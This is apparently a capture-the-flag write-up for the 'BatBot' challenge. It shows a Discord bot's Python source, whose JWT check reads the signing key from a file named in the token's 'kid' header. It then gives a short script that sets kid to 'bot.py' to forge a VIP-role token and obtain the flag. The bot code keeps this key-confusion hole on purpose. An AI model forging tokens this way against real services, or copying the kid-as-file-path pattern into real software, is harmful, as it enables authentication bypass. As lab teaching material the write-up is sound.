# BatBot (web-misc)

{% file src="<https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2FxvwX6alm045WJ5QLfaOP%2Fbot.py?alt=media&token=892175d5-ce22-43fa-b803-f9a25b85ec9c>" %}

We are presented with a discord bot running on a Python script as shown below:

````
import discord
from discord.ext import commands
import jwt
import os

intents = discord.Intents.all()
bot = commands.Bot(command_prefix="!", intents=intents)

BOT_TOKEN = os.getenv('TOKEN')
SECRET_KEY_FILE_PATH = 'secret.txt'
FLAG_FILE_PATH = 'flag.txt'

with open(FLAG_FILE_PATH, 'r') as file:
    flag = file.read().strip()

bot.remove_command('help')

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')

@bot.command(name='help')
async def custom_help(ctx):
    help_message = """
    *Help Command*:```
 !help (Shows this message)
 !verify token  (Authenticate with a JWT token)
 !generate (Generate a JWT Token for you)```
    """
    await ctx.send(help_message)

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

@bot.command(name='generate')
async def generate_token(ctx, *, username=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        elif not username:
            await ctx.send("Please provide a username.")
        else:
            with open(SECRET_KEY_FILE_PATH, 'r') as file:
                secret_key = file.read().strip()
            headers = {
                'kid': SECRET_KEY_FILE_PATH
            }
            token = jwt.encode({'username': username,'role' : 'user'}, secret_key, algorithm='HS256',headers=headers)
            await ctx.send(f'The generated JWT token for {username} is: {token}')
    except:
        await ctx.send('Failed to generate token.')



bot.run(BOT_TOKEN)
````

<figure><img src="https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2FnwXkE263au6mE1jUFd3V%2Fimage.png?alt=media&#x26;token=31531d2c-4230-4457-99c0-0a7f7133303b" alt=""><figcaption></figcaption></figure>

The bot generates JSON web tokens, and uses it to verify registered users. By default, all newly registered users are given the role `user`. The `username` and `role` are saved into the JSON web token.

Notice that if our token is verified and our `role` is `VIP`, we can obtain the flag.

If we look at the `verify_token` function, it takes the `kid` header from our JSON web token, and uses that as a filename which the `secret_key` should be in. The `secret_key` is used to decode the JSON web token, and from there the `username` and `role` fields are extracted.

During token generation, `kid` is set to `SECRET_KEY_FILE_PATH` so we do not know the `secret_key`. However, we can change the key file to another file which is shared by us and the remote server. This would be the source code file, of course! If we set `kid` to be `bot.py`, we would share the same `secret_key` with the server. With the shared secret key, we can then forge a JSON web token to have a previously-registered username but with the `VIP` role.&#x20;

I wrote the following code to generate such a token:&#x20;

```python
import jwt
import os
SECRET_KEY_FILE_PATH = "bot.py"
with open(SECRET_KEY_FILE_PATH, 'r') as file:
    secret_key = file.read().strip()
headers = {
    'kid': SECRET_KEY_FILE_PATH
}
token = jwt.encode({'username': 'elijah5399','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
print(token)
decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
print(decoded_token)
```

With this forged token, we can then get the flag from the bot:

<figure><img src="https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2FmFY0j687SI80Co4T8XZ7%2Fimage.png?alt=media&#x26;token=729ad41e-7eee-43a1-b748-fd85629002f1" alt=""><figcaption></figcaption></figure>
